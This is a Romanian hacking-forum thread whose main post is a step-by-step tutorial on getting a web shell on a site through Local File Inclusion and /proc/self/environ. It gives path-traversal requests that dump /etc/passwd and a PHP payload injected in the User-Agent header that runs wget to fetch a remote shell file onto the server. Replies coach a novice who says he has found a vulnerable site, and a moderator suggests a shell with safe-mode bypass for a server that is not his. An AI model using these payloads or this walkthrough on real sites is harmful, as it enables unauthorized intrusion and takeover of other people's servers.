[Tutorial[ Shell prin LFI - metoda proc/self/environ
| Author |
Message |
|
SirGod
Moderator
Joined: Thu Jun 12, 2008 7:11 pm Posts: 184 Location: Romania
|
 [Tutorial[ Shell prin LFI - metoda proc/self/environ
Code: >>>>>>>>>>>>>> Shell prin LFI - metoda proc/self/environ <<<<<<<<<<<<<<< >>>>>>>>>>>>>>> Author : SirGod <<<<<<<<<<<<<<< >>>>>>>>>>>>>>> www.insecurity-ro.org <<<<<<<<<<<<<<< >>>>>>>>>>>>>>> www.h4cky0u.org <<<<<<<<<<<<<<< >>>>>>>>>>>>>>> sirgod08@gmail.com <<<<<<<<<<<<<<<
1 - Introducere 2 - Descoperire LFI 3 - Verificam daca proc/self/environ e accesibil 4 - Injectare cod malitios 5 - Acces la shell 6 - Multumiri
>> 1 - Introducere
In acestu tutorial va voi arata cum sa obtineti un shell pe un site folosindu-va de Local File Inclusion si injectand cod malitios in proc/self/environ.Este un tutorial care explica totul pas cu pas.
>> 2 - Descoperire LFI
- Acum sa gasim o un site vulnerabil la Local File Inclusion.Am gasit tinta,sa verificam www.website.com/view.php?page=contact.php
- Acum sa inlocuim contact.php cu ../ si URL-ul va devenii www.website.com/view.php?page=../ si avem o eroare. Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
sanse mari sa avem o vulnerabilitate de tip Local File Inclusion.Sa trecem mai departe. - Sa verificam daca putem accesa etc/passwd ca sa vedem daca este vulnerabil la Local File Inclusion.Sa face un request : www.website.com/view.php?page=../../../etc/passwd
avem o eroare si fisierul etc/passwd nu este inclus. Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337 urcam cateva directorii www.website.com/view.php?page=../../../../../etc/passwd am inclus cu succes fisierul etc/passwd. root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
>> 3 - Verificam daca proc/self/environ e accesibil
- Acum sa vedem daca proc/self/environ este accesibil.O sa inlocuim etc/passwd cu proc/self/environ www.website.com/view.php?page=../../../../../proc/self/environ Daca primiti ceva de genul DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE= Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80 proc/self/environ este accesibil.Daca primiti o pagina alba,o eroare inseamna ca nu este accesibil sau sistemul de operare este FreeBSD.
>> 4 - Injectare cod malitios
- Acum sa injectam codul nostru malitios in proc/self/environ.Cum putem face asta?Injectam codul in HTTP Header-ul User-Agent. Folositi addon-ul Tamper Data pentru Firefox pentru a schimba User-Agent-ul.Porniti Tamper Data si faceti un request la URL-ul : www.website.com/view.php?page=../../../../../proc/self/environ
Alegeti Tamper si in campul User-Agent scrieti urmatorul cod : <?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?> Apoi dati submit la request. Comanda noastra va fi executata(o sa descarce un shell txt de la adresa http://hack-bay.com/Shells/gny.txt si il va salva ca shell.php in directorul site-ului) prin intermediul functiei system(),si shell-ul nostru va fi creat.Daca nu merge,incercati exec() pentru ca system() poate fi restrictionat pe server din php.ini
>> 5 - Acces la shell
- Acuma sa verificam daca codul nostru malitios a fost injectat cu succes.Sa vedem daca shell-ul este prezent. www.website.com/shell.php Shell-ul nostru este acolo.Injectia a fost efectuata cu succes.
>> 6 - Multumiri
Multumiri membrilor www.insecurity-ro.org si www.h4cky0u.org . Aveti si versiunea in limba engleza aici: Code: http://milw0rm.com/papers/361
|
| Thu Jan 28, 2010 8:04 pm |
|
 |
|
spor3
New Member
Joined: Thu Jul 29, 2010 6:31 pm Posts: 4
|
 Re: [Tutorial[ Shell prin LFI - metoda proc/self/environ
IN sfarsit am gasit ceva bun Dar m-am inecat precum tigan-ul la mal  Help me sir please So De aici Code: Folositi addon-ul Tamper Data pentru Firefox pentru a schimba User-Agent-ul.Porniti Tamper Data si faceti un request la URL-ul : www.website.com/view.php?page=../../../../../proc/self/environ
Alegeti Tamper si in campul User-Agent scrieti urmatorul cod : <?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?> Apoi dati submit la request. M-am pierdut Eu dau la tamper de la tools imi apare asta http://i31.tinypic.com/qpqtmo.jpgDe aici ce fac ? Unde dau request apoi unde ''Alegeti Tamper'' si in camp-ul User-Agent scrieti urmatorul cod ... O poza pt fiecare adica 3 poze in total ar fi perfect  nu am mai avut tamper si nu ma prea pricep si am gasit o vulnerabilitate  ms
|
| Thu Jul 29, 2010 6:38 pm |
|
 |
|
Nytro
Moderator
Joined: Tue Aug 07, 2007 11:56 pm Posts: 489
|
 Re: [Tutorial[ Shell prin LFI - metoda proc/self/environ
Dai click pe Start Tamper, stanga sus. Si cand vei incerca sa intri pe acea pagina te va intreba daca vrei sa modifici headerele. PS: Invata mai bine notiunile de baza despre HTTP si PHP. O sa iti fie mult mai usor.
|
| Thu Jul 29, 2010 7:25 pm |
|
 |
|
SirGod
Moderator
Joined: Thu Jun 12, 2008 7:11 pm Posts: 184 Location: Romania
|
 Re: [Tutorial[ Shell prin LFI - metoda proc/self/environ
Dai Start tamper, faci request la pagina cu proc/self/environ inclus, o sa iti apara un pop-up de la Tamper Data care o sa contina si campul pentru User-Agent. Acolo introduci codul PHP. Apoi dai submit.
|
| Thu Jul 29, 2010 8:20 pm |
|
 |
|
spor3
New Member
Joined: Thu Jul 29, 2010 6:31 pm Posts: 4
|
 Re: [Tutorial[ Shell prin LFI - metoda proc/self/environ
Codul php adica <?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?> asta nu ? MULTUMESC MULT DE TOT ! Daca se poate sa imi spuneti cum dau disable la safe mode e perfect  PS fa un tut si pt rfi 
|
| Thu Jul 29, 2010 9:08 pm |
|
 |
|
SirGod
Moderator
Joined: Thu Jun 12, 2008 7:11 pm Posts: 184 Location: Romania
|
 Re: [Tutorial[ Shell prin LFI - metoda proc/self/environ
Codul ala. Dar modifica si tu linkul, nu mai merge shellul acela. Sa dai disable la safe mode pe un server care nu e al tau? Trebuie sa modifici php.ini din folderul de instalare al PHP-ului si dai restart la httpd, sa ma anunti cand o sa ai accesul necesar ca sa poti face asta. Daca nu ai nici un acces la site, cum banuiesc eu, foloseste un shell cu safe mode bypass. Tu cred ca vrei sa dai disable la safe_mode remote, nu ai cum. Cat despre tutorial, sunt multe pe net, nu are rost sa reinventez roata.
|
| Fri Jul 30, 2010 12:21 am |
|
 |
|
spor3
New Member
Joined: Thu Jul 29, 2010 6:31 pm Posts: 4
|
 Re: [Tutorial[ Shell prin LFI - metoda proc/self/environ
Nu ma  SafeMode-ul de la firefox ca imi dezinstaleaza ADDONS-urile 
|
| Fri Jul 30, 2010 10:43 am |
|
 |
|
bcman
Old School Member
Joined: Sat Sep 05, 2009 12:54 am Posts: 476 Location: Unde tu nu poti ajunge...
|
 Re: [Tutorial[ Shell prin LFI - metoda proc/self/environ
spor3 wrote: Nu ma  SafeMode-ul de la firefox ca imi dezinstaleaza ADDONS-urile  Pai exista doua executabile la Firefox. Unul care este normal si altul SafeMod. Daca intri in cel normal nu dezinstaleaza nimic. PS: nu le dezinstaleaza ci doar un mic disable.
|
| Fri Jul 30, 2010 7:37 pm |
|
 |
|
SirGod
Moderator
Joined: Thu Jun 12, 2008 7:11 pm Posts: 184 Location: Romania
|
 Re: [Tutorial[ Shell prin LFI - metoda proc/self/environ
De unde vroiai sa stiu ca te referi la Firefox Safe Mode? Nu ai cumva 2 scurtaturi la Firefox, unul pentru Safe Mode si unul pentru normal?
|
| Sat Jul 31, 2010 10:44 pm |
|
|
Page 1 of 1
|
[ 9 posts ] |
|
| Google Search |
| | Donate |
|---|
|
| Google Ads |
|
| Global Announcements |
|
| Programming Contests |
|
| Newsletter |
|
| Hackpedia RSS |
|
| Hackpedia's Partners |
|
|